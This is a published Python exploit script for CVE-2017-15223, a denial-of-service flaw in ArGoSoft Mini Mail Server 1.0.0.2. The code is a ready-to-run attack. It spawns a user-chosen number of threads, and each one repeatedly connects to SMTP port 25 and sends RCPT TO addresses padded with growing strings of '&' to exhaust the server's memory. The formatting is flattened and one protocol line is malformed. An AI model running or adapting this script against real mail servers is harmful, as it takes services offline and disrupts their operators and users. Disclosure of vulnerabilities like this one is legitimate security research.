ArGoSoft Mini Mail Server 1.0.0.2 Denial Of Service

`#!/usr/bin/env python  
# coding: utf-8  
  
############ Description: ##########  
# The vulnerability was discovered during a vulnerability research lecture.  
#  
# Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2  
# and earlier allows remote attackers to waste CPU resources (memory  
# consumption) via unspecified vectors.  
####################################  
  
# Exploit Title: ArGoSoft Mini Mail Server - DoS (Memory Consumption)  
# Date: 2017-10-21  
# Exploit Author: Berk Cem GAPksel  
# Contact: twitter.com/berkcgoksel || bgoksel.com  
# Vendor Homepage: http://www.argosoft.com  
# Software Link: http://www.argosoft.com/rootpages/MiniMail/Default.aspx  
# Version: 1.0.0.2  
# Tested on: Windows 10  
# Category: Windows Remote Denial-of-Service  
# CVE : CVE-2017-15223  
  
  
import socket  
from threading import Thread  
  
def data():  
  
ip = '127.0.0.1'  
port = 25  
counter = 50  
string = '&'  
  
while True:  
try:  
if counter >= 10000:  
counter = 0  
else:  
  
counter = counter + 50  
A = (string * counter) + '[email protected]'  
print "String lenght: " + str(len(A))  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.settimeout(5.0)  
sock.connect((ip, port))  
sock.send('HELO localhost\r\n' + 'MAIL FROM: [email protected]\r\n' + 'RCPT TO: ' + A + '\r\nDATA\r\nMessage-ID:1224\r\SDFGQUIL\r\n"."\r\n' + 'QUIT\r\n')  
sock.recv(1024)  
sock.close()  
  
except Exception as e:  
continue  
  
def main():  
iterations = int(input("Threads: "))  
for i in range(iterations):  
t = Thread(target=data)  
t.start()  
  
if __name__ == '__main__':  
main()  
  
`